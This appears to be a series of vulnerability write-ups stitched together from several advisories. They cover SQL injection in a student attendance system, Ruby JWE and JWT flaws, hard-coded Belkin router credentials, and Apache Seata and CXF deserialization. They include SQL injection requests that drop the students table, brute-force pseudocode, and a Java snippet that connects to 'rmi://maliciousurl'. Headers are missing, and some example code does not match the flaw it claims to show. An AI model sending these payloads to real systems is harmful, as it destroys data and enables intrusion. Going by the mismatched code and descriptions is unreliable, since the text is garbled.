Student Attendance Management System | v1

How the Exploit Works

The vulnerabilities are SQL injections, which occur when a malicious user inputs SQL statements in a web application’s user input fields to manipulate the application’s database. In this scenario, the vulnerabilities lie in createStudents.php, specifically in the Id, firstname, and admissionNumber parameters.
By exploiting these SQL injection vulnerabilities, an attacker can execute arbitrary SQL code in the application’s database. This can lead to unauthorized viewing of data, data manipulation, and in worst-case scenarios, complete system compromise.

Conceptual Example Code

A potential exploitation of this vulnerability might look something like this:

POST /createStudents.php HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
Id=1' OR '1'='1'; DROP TABLE students; -- &firstname=John&admissionNumber=123456

In this example, the attacker attempts to delete the ‘students’ table from the database. The ‘OR ‘1’=’1′ ensures the query always returns true, while the ‘;’ allows for a new command to be started, in this case, to drop the ‘students’ table. The ‘–‘ comments out the rest of the query to avoid syntax errors.
An important note: The above is a conceptual example and should not be executed or utilized for malicious purposes. It’s presented to illustrate the potential danger of the vulnerability.

Affected Products

Product | Affected Versions

Student Attendance Management System | v1

How the Exploit Works

The vulnerability is present in the createSessionTerm.php component of the Student Attendance Management System v1. The parameters id, termId, and sessionName are not properly filtered or escaped before being used in SQL queries. This allows an attacker to manipulate these parameters, sending specially crafted input to the server that can modify the SQL queries being executed. This can lead to unauthorized access, data corruption, or even data theft.

Conceptual Example Code

Below is a conceptual example of how an exploit might occur. In this instance, an attacker sends an HTTP POST request with manipulated data in the form of an SQL command. This command is designed to retrieve sensitive data from the database or even execute arbitrary SQL commands.

POST /createSessionTerm.php HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
id=1'; DROP TABLE students;--&termId=2&sessionName=spring

In this example, the attacker injects an SQL command (“DROP TABLE students;”) into the ‘id’ parameter. If the server executes this command, it could result in the deletion of the ‘students’ table from the database.

Mitigation and Prevention

The most effective mitigation is applying the patch provided by the vendor. Organizations should contact their vendor for the appropriate patches or updates and apply them as soon as possible. If an immediate patch is not available, use of a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation by blocking or alerting on malicious SQL injection attempts. Additionally, organizations should enforce secure coding practices, including proper input validation and prepared statements or parameterized queries, to prevent such vulnerabilities in the future.

Overview

Today we’re addressing a newly discovered vulnerability, CVE-2023-41520, which impacts the Student Attendance Management System v1.

Impact: System compromise, data leakage

Affected Products

Product | Affected Versions

Student Attendance Management System | v1

How the Exploit Works

This vulnerability stems from the application’s insufficient sanitization of user input in createClassArms.php via the classId and classArmName parameters. An attacker can manipulate these parameters with malicious SQL code. When this manipulated input is processed by the application, the malicious SQL code is executed on the backend database. This can lead to unauthorized viewing, modification, or deletion of data, or potentially even full system control.

Conceptual Example Code

Below is a conceptual example of how an attacker might exploit this vulnerability. This is a hypothetical HTTP request where the attacker injects SQL code into the ‘classId’ parameter:

POST /createClassArms.php HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
classId=1; DROP TABLE Students; --&classArmName=Example

In this conceptual example, the SQL command `DROP TABLE Students;` is injected into the application. If this command is executed, it will result in the deletion of the ‘Students’ table from the database.

Mitigation

The most effective way to mitigate this vulnerability is to apply the patch provided by the vendor. In cases where the patch cannot be immediately applied, a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can be used as temporary mitigation. These systems can be configured to detect and block known SQL injection attack patterns. However, this is only a temporary solution and the vendor’s patch should be applied as soon as possible to fully close the vulnerability.

Overview

In the realm of cybersecurity, a newly discovered vulnerability, CVE-2025-54887, has been identified in the Ruby implementation of JSON Web Encryption (JWE) standard, ‘jwe’. The vulnerability affects versions 1.1.0 and below. It is an alarming issue as it allows the authentication tags of encrypted JWEs to be brute-forced, potentially leading to loss of confidentiality.

Vulnerability Summary

CVE ID: CVE-2025-54887
Severity: Critical (CVSS: 9.1)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise and potential data leakage

Affected Products

Product | Affected Versions

jwe (Ruby) | 1.1.0 and below

How the Exploit Works

The vulnerability in the ‘jwe’ Ruby implementation of JWE relies on weak security mechanisms in the encryption process. The flaw allows authentication tags to be brute-forced, enabling the creation of arbitrary JWEs. This vulnerability can be exploited over the network without requiring user interaction or privileges. Moreover, due to the ability to observe parsing differences and recover the GCM internal GHASH key, an attacker can manipulate JWEs to decrypt to any value they desire. This not only compromises the confidentiality of the JWEs but also exposes the potentially sensitive data they contain.

Conceptual Example Code

Here is a
conceptual
example of how the vulnerability might be exploited. This pseudocode demonstrates a brute-force attack on the authentication tags of encrypted JWEs:

def brute_force_attack(jwe_tag)
possible_tags = generate_possible_tags()
possible_tags.each do |tag|
if decrypt_jwe(tag, jwe_tag) == true
puts "Decrypted JWE: #{decrypt_jwe(tag, jwe_tag)}"
break
end
end
end
brute_force_attack(target_jwe_tag)

In this pseudocode, `generate_possible_tags()` would generate all possible authentication tags, and `decrypt_jwe()` would attempt to decrypt the JWE using each tag. If the decryption is successful, the decrypted JWE is outputted, and the brute force attack stops.

Mitigation

Users are advised to upgrade to version 1.1.1 as this issue has been fixed in this release. As the GHASH key may have been leaked, users must also rotate the encryption keys after upgrading. As a temporary mitigation, users can apply vendor patches or use a Web Application Firewall (WAF) or Intrusion Detection System (IDS).

Vulnerability Summary

CVE ID: CVE-2025-45765
Severity: Critical (9.1 CVSS Score)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: System Compromise or Data Leakage

Affected Products

Product | Affected Versions

ruby-jwt | v3.0.0.beta1

How the Exploit Works

The vulnerability emerges from the library’s handling of encryption keys. The ruby-jwt v3.0.0.beta1 does not enforce key sizes, leaving it up to the users to ensure the key sizes they choose are secure. This lack of enforcement can lead to the use of weak encryption keys that can be easily broken by attackers, giving them access to sensitive data or even control of the system.

Conceptual Example Code

Here’s a conceptual example of how this vulnerability might be exploited. An attacker could use a brute force attack to uncover the weak encryption key. Once the key is discovered, they can then use it to decode the JWT, gaining access to the sensitive data contained within.

require 'jwt'
weak_key = 'weak_key'
payload = { data: 'Sensitive Information' }
token = JWT.encode payload, weak_key, 'HS256'
puts "Encoded Token: #{token}"
decoded_token = JWT.decode token, weak_key, true, { algorithm: 'HS256' }
puts "Decoded Token: #{decoded_token}"

In this example, the weak_key is easily guessed using brute force methods. Once an attacker has the key, they can easily decode the token and access the sensitive data it was meant to protect.

Mitigation Guidance

Users of the ruby-jwt v3.0.0.beta1 library are strongly advised to apply the vendor patch as soon as possible. In the meantime, protective measures such as using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation. Additionally, users should consider enforcing stronger key sizes within their applications to ensure the integrity and security of their data.

Affected Products

Product | Affected Versions

Belkin F9K1009 | 2.00.04, 2.00.09
Belkin F9K1010 | 2.00.04, 2.00.09

How the Exploit Works

The vulnerability stems from hard-coded credentials within the affected Belkin routers. This allows attackers to easily bypass authentication processes by using these built-in credentials. Since the attack vector is network-based, the attack can be carried out remotely, increasing the likelihood and potential scale of exploitation.
The manipulation of the hard-coded credentials offers the attacker unauthorized access to the device’s web interface, from where they can potentially change configuration settings, intercept sensitive information, or even take complete control of the router, leading to a system compromise or data leakage.

Conceptual Example Code

Here is a conceptual example of how the vulnerability might be exploited:

GET /login.cgi HTTP/1.1
Host: vulnerable-router-ip
Authorization: Basic [hard-coded credentials in Base64]
HTTP/1.1 200 OK
Content-Type: text/html
{"routerConfiguration": {...}, "sensitiveData": "..." }

In this hypothetical example, the attacker sends a GET request to the login.cgi endpoint of the router’s web interface, using the hard-coded credentials for authentication. Once authenticated, the attacker gains access to the router’s configuration and sensitive data.

Mitigation Guidance

Given the severity of this vulnerability, it’s recommended to apply the vendor patch as soon as it becomes available. In the meantime, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used as a temporary mitigation strategy to monitor and block potential exploit attempts.

Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System Compromise and Data Leakage

Affected Products

Product | Affected Versions

Apache Seata | 2.4.0

How the Exploit Works

The vulnerability lies in the way Apache Seata handles the deserialization of data. Deserialization is the process of converting byte code back into its original object. If an attacker is able to manipulate the data before it is deserialized, they can introduce malicious code into the system. This can lead to a range of harmful effects, from executing arbitrary code and compromising the entire system to causing data leakage.

Conceptual Example Code

Here is a conceptual example of how the vulnerability might be exploited. In this case, the attacker crafts a malicious payload that gets deserialized by the system:

POST /seata/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "untrusted_data": "base64_encoded_malicious_code_goes_here" }

In this example, the `untrusted_data` field contains base64 encoded malicious code. When the system deserializes this data, it inadvertently executes the malicious code, compromising the system.

Recommended Mitigation

Users of Apache Seata version 2.4.0 are advised to upgrade to version 2.5.0, which contains a patch for this vulnerability. In the meantime, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as temporary mitigation against potential exploitation of this vulnerability. As always, it is recommended to follow best security practices, including regularly updating and patching software, to reduce the risk of such vulnerabilities.

import javax.jms.*;
public class ExploitCVE202548913 {
public static void main(String[] args) {
ConnectionFactory connFactory = new ActiveMQConnectionFactory("rmi://maliciousurl");
Connection conn = connFactory.createConnection();
Session session = conn.createSession(false, Session.AUTO_ACKNOWLEDGE);
Destination destination = session.createQueue("test.queue");
MessageProducer producer = session.createProducer(destination);
TextMessage message = session.createTextMessage();
message.setText("Malicious code here");
producer.send(message);
conn.close();
}
}

This code would allow untrusted users to inject malicious payloads that could potentially lead to remote code execution.

Recommendations for Mitigation

To protect your systems from this critical vulnerability, it is advised to upgrade your Apache CXF to versions 3.6.8, 4.0.9 or 4.1.3, which have been released to rectify this issue.
